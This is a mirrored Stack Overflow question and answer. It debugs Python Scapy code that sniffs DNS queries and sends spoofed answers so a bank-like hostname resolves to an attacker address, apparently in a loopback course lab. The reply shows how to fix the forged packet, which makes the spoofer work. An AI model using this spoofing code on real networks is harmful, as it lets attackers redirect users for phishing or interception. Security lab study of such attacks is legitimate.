'Why Python dns.resolver Doesn't Stop with Scapy's Sniff?
Please Note, the provided answer doesn't solve the problem for me.
In python I have:
resolver_ip = 127.0.0.2
resolver = dns.resolver.Resolver()
resolver.nameservers = [127.0.0.2] # IP of My DNS Server
# Query the DNS resolver for our hostname's IP
result = resolver.query("LetumiBank.com")
print('Bye')
I'm using python's scapy sniff function to detect whenever there is a DNS query to 127.0.0.2 to fake a response such that WEBSITE_NAME will get an ip equal to: 127.0.0.3. My code was:
def sniff_and_spoof(source_ip):
# TODO: Open a socket and bind it to the attacker's IP and WEB_PORT.
# This socket will be used to accept connections from victimized clients.
packet_filter = " and ".join([
"udp dst port 53", # Filter UDP port 53
"udp[10] & 0x80 = 0", # DNS queries only
"dst host 127.0.0.2"
])
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as client_socket:
client_socket.bind((source_ip, WEB_PORT))
client_socket.listen()
cb = lambda org_arg: dns_callback(org_arg, (client_socket, source_ip))
sniff(filter=packet_filter, prn=cb, store=0, iface=net_interface, count=1)
and:
def dns_callback(packet, extra_args):
# TODO: Write callback function for handling DNS packets.
# Sends a spoofed DNS response for a query to HOSTNAME and calls handle_tcp_forwarding() after successful spoof.
eth = Ether(
src=packet[Ether].dst, dst=packet[Ether].src
)
ip = IP(
src=packet[IP].dst, dst=packet[IP].src
)
udp = UDP(
dport=packet[UDP].sport, sport=packet[UDP].dport
)
dns = DNS(
id=packet[DNS].id, qd=packet[DNS].qd,
aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=0, arcount=0,
ar=DNSRR(
rrname=packet[DNS].qd.qname,
type='A',
ttl=600,
rdata='127.0.0.3')
)
response_packet = eth / ip / udp / dns
sendp(response_packet, iface=net_interface)
Even though I can see a good response in wireshark the query is being send over and over again and Bye doesn't seem to get ever printed. Why is that?
Wireshark output: (request in line 4 and its response in line 5)
Keeping the code running gives the following error:
result = resolver.query("LetumiBank.com")
File "/usr/lib/python3/dist-packages/dns/resolver.py", line 992, in query
timeout = self._compute_timeout(start, lifetime)
File "/usr/lib/python3/dist-packages/dns/resolver.py", line 799, in _compute_timeout
raise Timeout(timeout=duration)
dns.exception.Timeout: The DNS operation timed out after 30.00104331970215 seconds
UPDATE:
Tried this too, same problem:
eth = Ether(src=packet[Ether].dst, dst=packet[Ether].src)
ip = IP(src=packet[IP].dst, dst=packet[IP].src)
udp = UDP(dport=packet[UDP].sport, sport=packet[UDP].dport)
dns = DNS(
id=packet[DNS].id,
aa=1, rd=0, qr=1, qdcount=1, ancount=1, nscount=0, arcount=0,
qd=DNSQR( # Query
qname=packet[DNSQR].qname
),
an=DNSRR( # Answer
rrname=packet[DNS].qd.qname,
type='A',
rclass=1,
ttl=600,
rdata='127.0.0.3'
)
)
Solution 1:[1]
ar=DNSRR() is wrong in your call to DNS().
Your answer should be in the an element. It is unfortunate Scapy uses such small names that are confusing.
You may also need a list because the sections, except the question, are storing multiple records, not just one.
So try an=DNSRR(...) or an=[DNSRR(...)] in your DNS() call.
A DNS packet can have up to 4 sections:
- a question, called
qdin Scapy - an answer, called
an, - an authority, called
ns - an additional part, called
ar
Your ancount/arcount are right though, so maybe just a typo?
By not sending really a reply (that is the "answer" part of the packet is empty, even if you do reply with a DNS packet") the client does not get an answer for its query and hence its normal behavior is to try to get back hopefully an answer.
Scapy documentation at https://scapy.readthedocs.io/en/latest/api/scapy.layers.dns.html shows this "RFC" like schema:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| LENGTH | ID |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Q| OPCODE|A|T|R|R|Z|A|C| RCODE | QDCOUNT |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| ANCOUNT | NSCOUNT |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| ARCOUNT | QD |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| AN | NS |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| AR |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Fig. DNS
Where the RFC 1035 has:
1 1 1 1 1 1
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| ID |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
|QR| Opcode |AA|TC|RD|RA| Z | RCODE |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| QDCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| ANCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| NSCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
| ARCOUNT |
+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+--+
for the header and
+---------------------+
| Header |
+---------------------+
| Question | the question for the name server
+---------------------+
| Answer | RRs answering the question
+---------------------+
| Authority | RRs pointing toward an authority
+---------------------+
| Additional | RRs holding additional information
+---------------------+
for the whole packet.
So that explains at least why Answer=AN, Authority=NS and Additional=AR (I have to idea how the last two 2 letters monikers were chosen).
PS: regarding your comment about ttl that "doesn't work" without explanations on what the problem is, I don't see the problem you have (with Scapy 2.4.5):
>>> r=DNSRR(rrname='example.com', type='A', ttl=600, rdata='127.0.0.3')
>>> print(r)
WARNING: Calling str(pkt) on Python 3 makes no sense!
b'\x07example\x03com\x00\x00\x01\x00\x01\x00\x00\x02X\x00\x04\x7f\x00\x00\x03'
>>> r
<DNSRR rrname='example.com' type=A ttl=600 rdata=127.0.0.3 |>
>>> r.ttl
600
Sources
This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.
Source: Stack Overflow
| Solution | Source |
|---|---|
| Solution 1 |
